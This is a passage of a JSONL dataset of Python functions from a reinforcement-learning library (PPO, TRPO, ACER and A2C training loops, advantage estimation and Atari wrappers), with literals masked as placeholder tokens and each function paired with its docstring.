safemean([epinfo['<STR_LIT:r>'] for epinfo in epinfobuf]))<EOL>logger.logkv('<STR_LIT>', safemean([epinfo['<STR_LIT:l>'] for epinfo in epinfobuf]))<EOL>if eval_env is not None:<EOL><INDENT>logger.logkv('<STR_LIT>', safemean([epinfo['<STR_LIT:r>'] for epinfo in eval_epinfobuf]) )<EOL>logger.logkv('<STR_LIT>', safemean([epinfo['<STR_LIT:l>'] for epinfo in eval_epinfobuf]) )<EOL><DEDENT>logger.logkv('<STR_LIT>', tnow - tfirststart)<EOL>for (lossval, lossname) in zip(lossvals, model.loss_names):<EOL><INDENT>logger.logkv(lossname, lossval)<EOL><DEDENT>if MPI is None or MPI.COMM_WORLD.Get_rank() == <NUM_LIT:0>:<EOL><INDENT>logger.dumpkvs()<EOL><DEDENT><DEDENT>if save_interval and (update % save_interval == <NUM_LIT:0> or update == <NUM_LIT:1>) and logger.get_dir() and (MPI is None or MPI.COMM_WORLD.Get_rank() == <NUM_LIT:0>):<EOL><INDENT>checkdir = osp.join(logger.get_dir(), '<STR_LIT>')<EOL>os.makedirs(checkdir, exist_ok=True)<EOL>savepath = osp.join(checkdir, '<STR_LIT>'%update)<EOL>print('<STR_LIT>', savepath)<EOL>model.save(savepath)<EOL><DEDENT><DEDENT>return model<EOL>", "docstring": "Learn policy using PPO algorithm (https://arxiv.org/abs/1707.06347)\n\nParameters:\n----------\n\nnetwork:                          policy network architecture. Either string (mlp, lstm, lnlstm, cnn_lstm, cnn, cnn_small, conv_only - see baselines.common/models.py for full list)\n                                  specifying the standard network architecture, or a function that takes tensorflow tensor as input and returns\n                                  tuple (output_tensor, extra_feed) where output tensor is the last network layer output, extra_feed is None for feed-forward\n                                  neural nets, and extra_feed is a dictionary describing how to feed state into the network for recurrent neural nets.\n                                  See common/models.py/lstm for more details on using recurrent nets in policies\n\nenv: baselines.common.vec_env.VecEnv     environment. Needs to be vectorized for parallel environment simulation.\n                                  The environments produced by gym.make can be wrapped using baselines.common.vec_env.DummyVecEnv class.\n\n\nnsteps: int                       number of steps of the vectorized environment per update (i.e. batch size is nsteps * nenv where\n                                  nenv is number of environment copies simulated in parallel)\n\ntotal_timesteps: int              number of timesteps (i.e. number of actions taken in the environment)\n\nent_coef: float                   policy entropy coefficient in the optimization objective\n\nlr: float or function             learning rate, constant or a schedule function [0,1] -> R+ where 1 is beginning of the\n                                  training and 0 is the end of the training.\n\nvf_coef: float                    value function loss coefficient in the optimization objective\n\nmax_grad_norm: float or None      gradient norm clipping coefficient\n\ngamma: float                      discounting factor\n\nlam: float                        advantage estimation discounting factor (lambda in the paper)\n\nlog_interval: int                 number of timesteps between logging events\n\nnminibatches: int                 number of training minibatches per update. For recurrent policies,\n                                  should be smaller or equal than number of environments run in parallel.\n\nnoptepochs: int                   number of training epochs per update\n\ncliprange: float or function      clipping range, constant or schedule function [0,1] -> R+ where 1 is beginning of the training\n                                  and 0 is the end of the training\n\nsave_interval: int                number of timesteps between saving events\n\nload_path: str                    path to load the model from\n\n**network_kwargs:                 keyword arguments to the policy / network builder. See baselines.common/policies.py/build_policy and arguments to a particular type of network\n                                  For instance, 'mlp' network architecture has arguments num_hidden and num_layers.", "id": "f1297:m1"}
{"signature": "def sf01(arr):", "body": "s = arr.shape<EOL>return arr.swapaxes(<NUM_LIT:0>, <NUM_LIT:1>).reshape(s[<NUM_LIT:0>] * s[<NUM_LIT:1>], *s[<NUM_LIT:2>:])<EOL>", "docstring": "swap and then flatten axes 0 and 1", "id": "f1298:m0"}
{"signature": "def get_task(benchmark, env_id):", "body": "return next(filter(lambda task: task['<STR_LIT>'] == env_id, benchmark['<STR_LIT>']), None)<EOL>", "docstring": "Get a task by env_id. Return None if the benchmark doesn't have the env", "id": "f1300:m3"}
{"signature": "def learn(*,<EOL>network,<EOL>env,<EOL>total_timesteps,<EOL>timesteps_per_batch=<NUM_LIT>, <EOL>max_kl=<NUM_LIT>,<EOL>cg_iters=<NUM_LIT:10>,<EOL>gamma=<NUM_LIT>,<EOL>lam=<NUM_LIT:1.0>, <EOL>seed=None,<EOL>ent_coef=<NUM_LIT:0.0>,<EOL>cg_damping=<NUM_LIT>,<EOL>vf_stepsize=<NUM_LIT>,<EOL>vf_iters =<NUM_LIT:3>,<EOL>max_episodes=<NUM_LIT:0>, max_iters=<NUM_LIT:0>,  <EOL>callback=None,<EOL>load_path=None,<EOL>**network_kwargs<EOL>):", "body": "if MPI is not None:<EOL><INDENT>nworkers = MPI.COMM_WORLD.Get_size()<EOL>rank = MPI.COMM_WORLD.Get_rank()<EOL><DEDENT>else:<EOL><INDENT>nworkers = <NUM_LIT:1><EOL>rank = <NUM_LIT:0><EOL><DEDENT>cpus_per_worker = <NUM_LIT:1><EOL>U.get_session(config=tf.ConfigProto(<EOL>allow_soft_placement=True,<EOL>inter_op_parallelism_threads=cpus_per_worker,<EOL>intra_op_parallelism_threads=cpus_per_worker<EOL>))<EOL>policy = build_policy(env, network, value_network='<STR_LIT>', **network_kwargs)<EOL>set_global_seeds(seed)<EOL>np.set_printoptions(precision=<NUM_LIT:3>)<EOL>ob_space = env.observation_space<EOL>ac_space = env.action_space<EOL>ob = observation_placeholder(ob_space)<EOL>with tf.variable_scope(\"<STR_LIT>\"):<EOL><INDENT>pi = policy(observ_placeholder=ob)<EOL><DEDENT>with tf.variable_scope(\"<STR_LIT>\"):<EOL><INDENT>oldpi = policy(observ_placeholder=ob)<EOL><DEDENT>atarg = tf.placeholder(dtype=tf.float32, shape=[None]) <EOL>ret = tf.placeholder(dtype=tf.float32, shape=[None]) <EOL>ac = pi.pdtype.sample_placeholder([None])<EOL>kloldnew = oldpi.pd.kl(pi.pd)<EOL>ent = pi.pd.entropy()<EOL>meankl = tf.reduce_mean(kloldnew)<EOL>meanent = tf.reduce_mean(ent)<EOL>entbonus = ent_coef * meanent<EOL>vferr = tf.reduce_mean(tf.square(pi.vf - ret))<EOL>ratio = tf.exp(pi.pd.logp(ac) - oldpi.pd.logp(ac)) <EOL>surrgain = tf.reduce_mean(ratio * atarg)<EOL>optimgain = surrgain + entbonus<EOL>losses = [optimgain, meankl, entbonus, surrgain, meanent]<EOL>loss_names = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>dist = meankl<EOL>all_var_list = get_trainable_variables(\"<STR_LIT>\")<EOL>var_list = get_pi_trainable_variables(\"<STR_LIT>\")<EOL>vf_var_list = get_vf_trainable_variables(\"<STR_LIT>\")<EOL>vfadam = MpiAdam(vf_var_list)<EOL>get_flat = U.GetFlat(var_list)<EOL>set_from_flat = U.SetFromFlat(var_list)<EOL>klgrads = tf.gradients(dist, var_list)<EOL>flat_tangent = tf.placeholder(dtype=tf.float32, shape=[None], name=\"<STR_LIT>\")<EOL>shapes = [var.get_shape().as_list() for var in var_list]<EOL>start = <NUM_LIT:0><EOL>tangents = []<EOL>for shape in shapes:<EOL><INDENT>sz = U.intprod(shape)<EOL>tangents.append(tf.reshape(flat_tangent[start:start+sz], shape))<EOL>start += sz<EOL><DEDENT>gvp = tf.add_n([tf.reduce_sum(g*tangent) for (g, tangent) in zipsame(klgrads, tangents)]) <EOL>fvp = U.flatgrad(gvp, var_list)<EOL>assign_old_eq_new = U.function([],[], updates=[tf.assign(oldv, newv)<EOL>for (oldv, newv) in zipsame(get_variables(\"<STR_LIT>\"), get_variables(\"<STR_LIT>\"))])<EOL>compute_losses = U.function([ob, ac, atarg], losses)<EOL>compute_lossandgrad = U.function([ob, ac, atarg], losses + [U.flatgrad(optimgain, var_list)])<EOL>compute_fvp = U.function([flat_tangent, ob, ac, atarg], fvp)<EOL>compute_vflossandgrad = U.function([ob, ret], U.flatgrad(vferr, vf_var_list))<EOL>@contextmanager<EOL>def timed(msg):<EOL><INDENT>if rank == <NUM_LIT:0>:<EOL><INDENT>print(colorize(msg, color='<STR_LIT>'))<EOL>tstart = time.time()<EOL>yield<EOL>print(colorize(\"<STR_LIT>\"%(time.time() - tstart), color='<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>yield<EOL><DEDENT><DEDENT>def allmean(x):<EOL><INDENT>assert isinstance(x, np.ndarray)<EOL>if MPI is not None:<EOL><INDENT>out = np.empty_like(x)<EOL>MPI.COMM_WORLD.Allreduce(x, out, op=MPI.SUM)<EOL>out /= nworkers<EOL><DEDENT>else:<EOL><INDENT>out = np.copy(x)<EOL><DEDENT>return out<EOL><DEDENT>U.initialize()<EOL>if load_path is not None:<EOL><INDENT>pi.load(load_path)<EOL><DEDENT>th_init = get_flat()<EOL>if MPI is not None:<EOL><INDENT>MPI.COMM_WORLD.Bcast(th_init, root=<NUM_LIT:0>)<EOL><DEDENT>set_from_flat(th_init)<EOL>vfadam.sync()<EOL>print(\"<STR_LIT>\", th_init.sum(), flush=True)<EOL>seg_gen = traj_segment_generator(pi, env, timesteps_per_batch, stochastic=True)<EOL>episodes_so_far = <NUM_LIT:0><EOL>timesteps_so_far = <NUM_LIT:0><EOL>iters_so_far = <NUM_LIT:0><EOL>tstart = time.time()<EOL>lenbuffer = deque(maxlen=<NUM_LIT>) <EOL>rewbuffer = deque(maxlen=<NUM_LIT>) <EOL>if sum([max_iters><NUM_LIT:0>, total_timesteps><NUM_LIT:0>, max_episodes><NUM_LIT:0>])==<NUM_LIT:0>:<EOL><INDENT>return pi<EOL><DEDENT>assert sum([max_iters><NUM_LIT:0>, total_timesteps><NUM_LIT:0>, max_episodes><NUM_LIT:0>]) < <NUM_LIT:2>,'<STR_LIT>'<EOL>while True:<EOL><INDENT>if callback: callback(locals(), globals())<EOL>if total_timesteps and timesteps_so_far >= total_timesteps:<EOL><INDENT>break<EOL><DEDENT>elif max_episodes and episodes_so_far >= max_episodes:<EOL><INDENT>break<EOL><DEDENT>elif max_iters and iters_so_far >= max_iters:<EOL><INDENT>break<EOL><DEDENT>logger.log(\"<STR_LIT>\"%iters_so_far)<EOL>with timed(\"<STR_LIT>\"):<EOL><INDENT>seg = seg_gen.__next__()<EOL><DEDENT>add_vtarg_and_adv(seg, gamma, lam)<EOL>ob, ac, atarg, tdlamret = seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"]<EOL>vpredbefore = seg[\"<STR_LIT>\"] <EOL>atarg = (atarg - atarg.mean()) / atarg.std() <EOL>if hasattr(pi, \"<STR_LIT>\"): pi.ret_rms.update(tdlamret)<EOL>if hasattr(pi, \"<STR_LIT>\"): pi.ob_rms.update(ob) <EOL>args = seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"], atarg<EOL>fvpargs = [arr[::<NUM_LIT:5>] for arr in args]<EOL>def fisher_vector_product(p):<EOL><INDENT>return allmean(compute_fvp(p, *fvpargs)) + cg_damping * p<EOL><DEDENT>assign_old_eq_new() <EOL>with timed(\"<STR_LIT>\"):<EOL><INDENT>*lossbefore, g = compute_lossandgrad(*args)<EOL><DEDENT>lossbefore = allmean(np.array(lossbefore))<EOL>g = allmean(g)<EOL>if np.allclose(g, <NUM_LIT:0>):<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>with timed(\"<STR_LIT>\"):<EOL><INDENT>stepdir = cg(fisher_vector_product, g, cg_iters=cg_iters, verbose=rank==<NUM_LIT:0>)<EOL><DEDENT>assert np.isfinite(stepdir).all()<EOL>shs = <NUM_LIT>*stepdir.dot(fisher_vector_product(stepdir))<EOL>lm = np.sqrt(shs / max_kl)<EOL>fullstep = stepdir / lm<EOL>expectedimprove = g.dot(fullstep)<EOL>surrbefore = lossbefore[<NUM_LIT:0>]<EOL>stepsize = <NUM_LIT:1.0><EOL>thbefore = get_flat()<EOL>for _ in range(<NUM_LIT:10>):<EOL><INDENT>thnew = thbefore + fullstep * stepsize<EOL>set_from_flat(thnew)<EOL>meanlosses = surr, kl, *_ = allmean(np.array(compute_losses(*args)))<EOL>improve = surr - surrbefore<EOL>logger.log(\"<STR_LIT>\"%(expectedimprove, improve))<EOL>if not np.isfinite(meanlosses).all():<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL><DEDENT>elif kl > max_kl * <NUM_LIT>:<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL><DEDENT>elif improve < <NUM_LIT:0>:<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>stepsize *= <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>logger.log(\"<STR_LIT>\")<EOL>set_from_flat(thbefore)<EOL><DEDENT>if nworkers > <NUM_LIT:1> and iters_so_far % <NUM_LIT:20> == <NUM_LIT:0>:<EOL><INDENT>paramsums = MPI.COMM_WORLD.allgather((thnew.sum(), vfadam.getflat().sum())) <EOL>assert all(np.allclose(ps, paramsums[<NUM_LIT:0>]) for ps in paramsums[<NUM_LIT:1>:])<EOL><DEDENT><DEDENT>for (lossname, lossval) in zip(loss_names, meanlosses):<EOL><INDENT>logger.record_tabular(lossname, lossval)<EOL><DEDENT>with timed(\"<STR_LIT>\"):<EOL><INDENT>for _ in range(vf_iters):<EOL><INDENT>for (mbob, mbret) in dataset.iterbatches((seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"]),<EOL>include_final_partial_batch=False, batch_size=<NUM_LIT:64>):<EOL><INDENT>g = allmean(compute_vflossandgrad(mbob, mbret))<EOL>vfadam.update(g, vf_stepsize)<EOL><DEDENT><DEDENT><DEDENT>logger.record_tabular(\"<STR_LIT>\", explained_variance(vpredbefore, tdlamret))<EOL>lrlocal = (seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"]) <EOL>if MPI is not None:<EOL><INDENT>listoflrpairs = MPI.COMM_WORLD.allgather(lrlocal) <EOL><DEDENT>else:<EOL><INDENT>listoflrpairs = [lrlocal]<EOL><DEDENT>lens, rews = map(flatten_lists, zip(*listoflrpairs))<EOL>lenbuffer.extend(lens)<EOL>rewbuffer.extend(rews)<EOL>logger.record_tabular(\"<STR_LIT>\", np.mean(lenbuffer))<EOL>logger.record_tabular(\"<STR_LIT>\", np.mean(rewbuffer))<EOL>logger.record_tabular(\"<STR_LIT>\", len(lens))<EOL>episodes_so_far += len(lens)<EOL>timesteps_so_far += sum(lens)<EOL>iters_so_far += <NUM_LIT:1><EOL>logger.record_tabular(\"<STR_LIT>\", episodes_so_far)<EOL>logger.record_tabular(\"<STR_LIT>\", timesteps_so_far)<EOL>logger.record_tabular(\"<STR_LIT>\", time.time() - tstart)<EOL>if rank==<NUM_LIT:0>:<EOL><INDENT>logger.dump_tabular()<EOL><DEDENT><DEDENT>return pi<EOL>", "docstring": "learn a policy function with TRPO algorithm\n\nParameters:\n----------\n\nnetwork                 neural network to learn. Can be either string ('mlp', 'cnn', 'lstm', 'lnlstm' for basic types)\n                        or function that takes input placeholder and returns tuple (output, None) for feedforward nets\n                        or (output, (state_placeholder, state_output, mask_placeholder)) for recurrent nets\n\nenv                     environment (one of the gym environments or wrapped via baselines.common.vec_env.VecEnv-type class\n\ntimesteps_per_batch     timesteps per gradient estimation batch\n\nmax_kl                  max KL divergence between old policy and new policy ( KL(pi_old || pi) )\n\nent_coef                coefficient of policy entropy term in the optimization objective\n\ncg_iters                number of iterations of conjugate gradient algorithm\n\ncg_damping              conjugate gradient damping\n\nvf_stepsize             learning rate for adam optimizer used to optimie value function loss\n\nvf_iters                number of iterations of value function optimization iterations per each policy optimization step\n\ntotal_timesteps           max number of timesteps\n\nmax_episodes            max number of episodes\n\nmax_iters               maximum number of policy optimization iterations\n\ncallback                function to be called with (locals(), globals()) each policy optimization step\n\nload_path               str, path to load the model from (default: None, i.e. no model is loaded)\n\n**network_kwargs        keyword arguments to the policy / network builder. See baselines.common/policies.py/build_policy and arguments to a particular type of network\n\nReturns:\n-------\n\nlearnt model", "id": "f1305:m2"}
{"signature": "def add_vtarg_and_adv(seg, gamma, lam):", "body": "new = np.append(seg[\"<STR_LIT>\"], <NUM_LIT:0>) <EOL>vpred = np.append(seg[\"<STR_LIT>\"], seg[\"<STR_LIT>\"])<EOL>T = len(seg[\"<STR_LIT>\"])<EOL>seg[\"<STR_LIT>\"] = gaelam = np.empty(T, '<STR_LIT>')<EOL>rew = seg[\"<STR_LIT>\"]<EOL>lastgaelam = <NUM_LIT:0><EOL>for t in reversed(range(T)):<EOL><INDENT>nonterminal = <NUM_LIT:1>-new[t+<NUM_LIT:1>]<EOL>delta = rew[t] + gamma * vpred[t+<NUM_LIT:1>] * nonterminal - vpred[t]<EOL>gaelam[t] = lastgaelam = delta + gamma * lam * nonterminal * lastgaelam<EOL><DEDENT>seg[\"<STR_LIT>\"] = seg[\"<STR_LIT>\"] + seg[\"<STR_LIT>\"]<EOL>", "docstring": "Compute target value using TD(lambda) estimator, and advantage with GAE(lambda)", "id": "f1306:m1"}
{"signature": "def parse_cmdline_kwargs(args):", "body": "def parse(v):<EOL><INDENT>assert isinstance(v, str)<EOL>try:<EOL><INDENT>return eval(v)<EOL><DEDENT>except (NameError, SyntaxError):<EOL><INDENT>return v<EOL><DEDENT><DEDENT>return {k: parse(v) for k,v in parse_unknown_args(args).items()}<EOL>", "docstring": "convert a list of '='-spaced command-line arguments to a dictionary, evaluating python objects when possible", "id": "f1313:m7"}
{"signature": "def q_retrace(R, D, q_i, v, rho_i, nenvs, nsteps, gamma):", "body": "rho_bar = batch_to_seq(tf.minimum(<NUM_LIT:1.0>, rho_i), nenvs, nsteps, True)  <EOL>rs = batch_to_seq(R, nenvs, nsteps, True)  <EOL>ds = batch_to_seq(D, nenvs, nsteps, True)  <EOL>q_is = batch_to_seq(q_i, nenvs, nsteps, True)<EOL>vs = batch_to_seq(v, nenvs, nsteps + <NUM_LIT:1>, True)<EOL>v_final = vs[-<NUM_LIT:1>]<EOL>qret = v_final<EOL>qrets = []<EOL>for i in range(nsteps - <NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>):<EOL><INDENT>check_shape([qret, ds[i], rs[i], rho_bar[i], q_is[i], vs[i]], [[nenvs]] * <NUM_LIT:6>)<EOL>qret = rs[i] + gamma * qret * (<NUM_LIT:1.0> - ds[i])<EOL>qrets.append(qret)<EOL>qret = (rho_bar[i] * (qret - q_is[i])) + vs[i]<EOL><DEDENT>qrets = qrets[::-<NUM_LIT:1>]<EOL>qret = seq_to_batch(qrets, flat=True)<EOL>return qret<EOL>", "docstring": "Calculates q_retrace targets\n\n:param R: Rewards\n:param D: Dones\n:param q_i: Q values for actions taken\n:param v: V values\n:param rho_i: Importance weight for each action\n:return: Q_retrace values", "id": "f1315:m1"}
{"signature": "def learn(network, env, seed=None, nsteps=<NUM_LIT:20>, total_timesteps=int(<NUM_LIT>), q_coef=<NUM_LIT:0.5>, ent_coef=<NUM_LIT>,<EOL>max_grad_norm=<NUM_LIT:10>, lr=<NUM_LIT>, lrschedule='<STR_LIT>', rprop_epsilon=<NUM_LIT>, rprop_alpha=<NUM_LIT>, gamma=<NUM_LIT>,<EOL>log_interval=<NUM_LIT:100>, buffer_size=<NUM_LIT>, replay_ratio=<NUM_LIT:4>, replay_start=<NUM_LIT>, c=<NUM_LIT>,<EOL>trust_region=True, alpha=<NUM_LIT>, delta=<NUM_LIT:1>, load_path=None, **network_kwargs):", "body": "print(\"<STR_LIT>\")<EOL>print(locals())<EOL>set_global_seeds(seed)<EOL>if not isinstance(env, VecFrameStack):<EOL><INDENT>env = VecFrameStack(env, <NUM_LIT:1>)<EOL><DEDENT>policy = build_policy(env, network, estimate_q=True, **network_kwargs)<EOL>nenvs = env.num_envs<EOL>ob_space = env.observation_space<EOL>ac_space = env.action_space<EOL>nstack = env.nstack<EOL>model = Model(policy=policy, ob_space=ob_space, ac_space=ac_space, nenvs=nenvs, nsteps=nsteps,<EOL>ent_coef=ent_coef, q_coef=q_coef, gamma=gamma,<EOL>max_grad_norm=max_grad_norm, lr=lr, rprop_alpha=rprop_alpha, rprop_epsilon=rprop_epsilon,<EOL>total_timesteps=total_timesteps, lrschedule=lrschedule, c=c,<EOL>trust_region=trust_region, alpha=alpha, delta=delta)<EOL>runner = Runner(env=env, model=model, nsteps=nsteps)<EOL>if replay_ratio > <NUM_LIT:0>:<EOL><INDENT>buffer = Buffer(env=env, nsteps=nsteps, size=buffer_size)<EOL><DEDENT>else:<EOL><INDENT>buffer = None<EOL><DEDENT>nbatch = nenvs*nsteps<EOL>acer = Acer(runner, model, buffer, log_interval)<EOL>acer.tstart = time.time()<EOL>for acer.steps in range(<NUM_LIT:0>, total_timesteps, nbatch): <EOL><INDENT>acer.call(on_policy=True)<EOL>if replay_ratio > <NUM_LIT:0> and buffer.has_atleast(replay_start):<EOL><INDENT>n = np.random.poisson(replay_ratio)<EOL>for _ in range(n):<EOL><INDENT>acer.call(on_policy=False)  <EOL><DEDENT><DEDENT><DEDENT>return model<EOL>", "docstring": "Main entrypoint for ACER (Actor-Critic with Experience Replay) algorithm (https://arxiv.org/pdf/1611.01224.pdf)\nTrain an agent with given network architecture on a given environment using ACER.\n\nParameters:\n----------\n\nnetwork:            policy network architecture. Either string (mlp, lstm, lnlstm, cnn_lstm, cnn, cnn_small, conv_only - see baselines.common/models.py for full list)\n                    specifying the standard network architecture, or a function that takes tensorflow tensor as input and returns\n                    tuple (output_tensor, extra_feed) where output tensor is the last network layer output, extra_feed is None for feed-forward\n                    neural nets, and extra_feed is a dictionary describing how to feed state into the network for recurrent neural nets.\n                    See baselines.common/policies.py/lstm for more details on using recurrent nets in policies\n\nenv:                environment. Needs to be vectorized for parallel environment simulation.\n                    The environments produced by gym.make can be wrapped using baselines.common.vec_env.DummyVecEnv class.\n\nnsteps:             int, number of steps of the vectorized environment per update (i.e. batch size is nsteps * nenv where\n                    nenv is number of environment copies simulated in parallel) (default: 20)\n\nnstack:             int, size of the frame stack, i.e. number of the frames passed to the step model. Frames are stacked along channel dimension\n                    (last image dimension) (default: 4)\n\ntotal_timesteps:    int, number of timesteps (i.e. number of actions taken in the environment) (default: 80M)\n\nq_coef:             float, value function loss coefficient in the optimization objective (analog of vf_coef for other actor-critic methods)\n\nent_coef:           float, policy entropy coefficient in the optimization objective (default: 0.01)\n\nmax_grad_norm:      float, gradient norm clipping coefficient. If set to None, no clipping. (default: 10),\n\nlr:                 float, learning rate for RMSProp (current implementation has RMSProp hardcoded in) (default: 7e-4)\n\nlrschedule:         schedule of learning rate. Can be 'linear', 'constant', or a function [0..1] -> [0..1] that takes fraction of the training progress as input and\n                    returns fraction of the learning rate (specified as lr) as output\n\nrprop_epsilon:      float, RMSProp epsilon (stabilizes square root computation in denominator of RMSProp update) (default: 1e-5)\n\nrprop_alpha:        float, RMSProp decay parameter (default: 0.99)\n\ngamma:              float, reward discounting factor (default: 0.99)\n\nlog_interval:       int, number of updates between logging events (default: 100)\n\nbuffer_size:        int, size of the replay buffer (default: 50k)\n\nreplay_ratio:       int, now many (on average) batches of data to sample from the replay buffer take after batch from the environment (default: 4)\n\nreplay_start:       int, the sampling from the replay buffer does not start until replay buffer has at least that many samples (default: 10k)\n\nc:                  float, importance weight clipping factor (default: 10)\n\ntrust_region        bool, whether or not algorithms estimates the gradient KL divergence between the old and updated policy and uses it to determine step size  (default: True)\n\ndelta:              float, max KL divergence between the old policy and updated policy (default: 1)\n\nalpha:              float, momentum factor in the Polyak (exponential moving average) averaging of the model parameters (default: 0.99)\n\nload_path:          str, path to load the model from (default: None)\n\n**network_kwargs:               keyword arguments to the policy / network builder. See baselines.common/policies.py/build_policy and arguments to a particular type of network\n                                For instance, 'mlp' network architecture has arguments num_hidden and num_layers.", "id": "f1315:m2"}
{"signature": "def learn(<EOL>network,<EOL>env,<EOL>seed=None,<EOL>nsteps=<NUM_LIT:5>,<EOL>total_timesteps=int(<NUM_LIT>),<EOL>vf_coef=<NUM_LIT:0.5>,<EOL>ent_coef=<NUM_LIT>,<EOL>max_grad_norm=<NUM_LIT:0.5>,<EOL>lr=<NUM_LIT>,<EOL>lrschedule='<STR_LIT>',<EOL>epsilon=<NUM_LIT>,<EOL>alpha=<NUM_LIT>,<EOL>gamma=<NUM_LIT>,<EOL>log_interval=<NUM_LIT:100>,<EOL>load_path=None,<EOL>**network_kwargs):", "body": "set_global_seeds(seed)<EOL>nenvs = env.num_envs<EOL>policy = build_policy(env, network, **network_kwargs)<EOL>model = Model(policy=policy, env=env, nsteps=nsteps, ent_coef=ent_coef, vf_coef=vf_coef,<EOL>max_grad_norm=max_grad_norm, lr=lr, alpha=alpha, epsilon=epsilon, total_timesteps=total_timesteps, lrschedule=lrschedule)<EOL>if load_path is not None:<EOL><INDENT>model.load(load_path)<EOL><DEDENT>runner = Runner(env, model, nsteps=nsteps, gamma=gamma)<EOL>epinfobuf = deque(maxlen=<NUM_LIT:100>)<EOL>nbatch = nenvs*nsteps<EOL>tstart = time.time()<EOL>for update in range(<NUM_LIT:1>, total_timesteps//nbatch+<NUM_LIT:1>):<EOL><INDENT>obs, states, rewards, masks, actions, values, epinfos = runner.run()<EOL>epinfobuf.extend(epinfos)<EOL>policy_loss, value_loss, policy_entropy = model.train(obs, states, rewards, masks, actions, values)<EOL>nseconds = time.time()-tstart<EOL>fps = int((update*nbatch)/nseconds)<EOL>if update % log_interval == <NUM_LIT:0> or update == <NUM_LIT:1>:<EOL><INDENT>ev = explained_variance(values, rewards)<EOL>logger.record_tabular(\"<STR_LIT>\", update)<EOL>logger.record_tabular(\"<STR_LIT>\", update*nbatch)<EOL>logger.record_tabular(\"<STR_LIT>\", fps)<EOL>logger.record_tabular(\"<STR_LIT>\", float(policy_entropy))<EOL>logger.record_tabular(\"<STR_LIT>\", float(value_loss))<EOL>logger.record_tabular(\"<STR_LIT>\", float(ev))<EOL>logger.record_tabular(\"<STR_LIT>\", safemean([epinfo['<STR_LIT:r>'] for epinfo in epinfobuf]))<EOL>logger.record_tabular(\"<STR_LIT>\", safemean([epinfo['<STR_LIT:l>'] for epinfo in epinfobuf]))<EOL>logger.dump_tabular()<EOL><DEDENT><DEDENT>return model<EOL>", "docstring": "Main entrypoint for A2C algorithm. Train a policy with given network architecture on a given environment using a2c algorithm.\n\nParameters:\n-----------\n\nnetwork:            policy network architecture. Either string (mlp, lstm, lnlstm, cnn_lstm, cnn, cnn_small, conv_only - see baselines.common/models.py for full list)\n                    specifying the standard network architecture, or a function that takes tensorflow tensor as input and returns\n                    tuple (output_tensor, extra_feed) where output tensor is the last network layer output, extra_feed is None for feed-forward\n                    neural nets, and extra_feed is a dictionary describing how to feed state into the network for recurrent neural nets.\n                    See baselines.common/policies.py/lstm for more details on using recurrent nets in policies\n\n\nenv:                RL environment. Should implement interface similar to VecEnv (baselines.common/vec_env) or be wrapped with DummyVecEnv (baselines.common/vec_env/dummy_vec_env.py)\n\n\nseed:               seed to make random number sequence in the alorightm reproducible. By default is None which means seed from system noise generator (not reproducible)\n\nnsteps:             int, number of steps of the vectorized environment per update (i.e. batch size is nsteps * nenv where\n                    nenv is number of environment copies simulated in parallel)\n\ntotal_timesteps:    int, total number of timesteps to train on (default: 80M)\n\nvf_coef:            float, coefficient in front of value function loss in the total loss function (default: 0.5)\n\nent_coef:           float, coeffictiant in front of the policy entropy in the total loss function (default: 0.01)\n\nmax_gradient_norm:  float, gradient is clipped to have global L2 norm no more than this value (default: 0.5)\n\nlr:                 float, learning rate for RMSProp (current implementation has RMSProp hardcoded in) (default: 7e-4)\n\nlrschedule:         schedule of learning rate. Can be 'linear', 'constant', or a function [0..1] -> [0..1] that takes fraction of the training progress as input and\n                    returns fraction of the learning rate (specified as lr) as output\n\nepsilon:            float, RMSProp epsilon (stabilizes square root computation in denominator of RMSProp update) (default: 1e-5)\n\nalpha:              float, RMSProp decay parameter (default: 0.99)\n\ngamma:              float, reward discounting parameter (default: 0.99)\n\nlog_interval:       int, specifies how frequently the logs are printed out (default: 100)\n\n**network_kwargs:   keyword arguments to the policy / network builder. See baselines.common/policies.py/build_policy and arguments to a particular type of network\n                    For instance, 'mlp' network architecture has arguments num_hidden and num_layers.", "id": "f1319:m0"}
{"signature": "def wrap_deepmind(env, episode_life=True, clip_rewards=True, frame_stack=False, scale=False):", "body": "if episode_life:<EOL><INDENT>env = EpisodicLifeEnv(env)<EOL><DEDENT>if '<STR_LIT>' in env.unwrapped.get_action_meanings():<EOL><INDENT>env = FireResetEnv(env)<EOL><DEDENT>env = WarpFrame(env)<EOL>if scale:<EOL><INDENT>env = ScaledFloatFrame(env)<EOL><DEDENT>if clip_rewards:<EOL><INDENT>env = ClipRewardEnv(env)<EOL><DEDENT>if frame_stack:<EOL><INDENT>env = FrameStack(env, <NUM_LIT:4>)<EOL><DEDENT>return env<EOL>", "docstring": "Configure environment for DeepMind-style Atari.", "id": "f1340:m1"}
{"signature": "def __init__(self, env, noop_max=<NUM_LIT:30>):", "body": "gym.Wrapper.__init__(self, env)<EOL>self.noop_max = noop_max<EOL>self.override_num_noops = None<EOL>self.noop_action = <NUM_LIT:0><EOL>assert env.unwrapped.get_action_meanings()[<NUM_LIT:0>] == '<STR_LIT>'<EOL>", "docstring": "Sample initial states by taking random number of no-ops on reset.\n        No-op is assumed to be action 0.", "id": "f1340:c0:m0"}
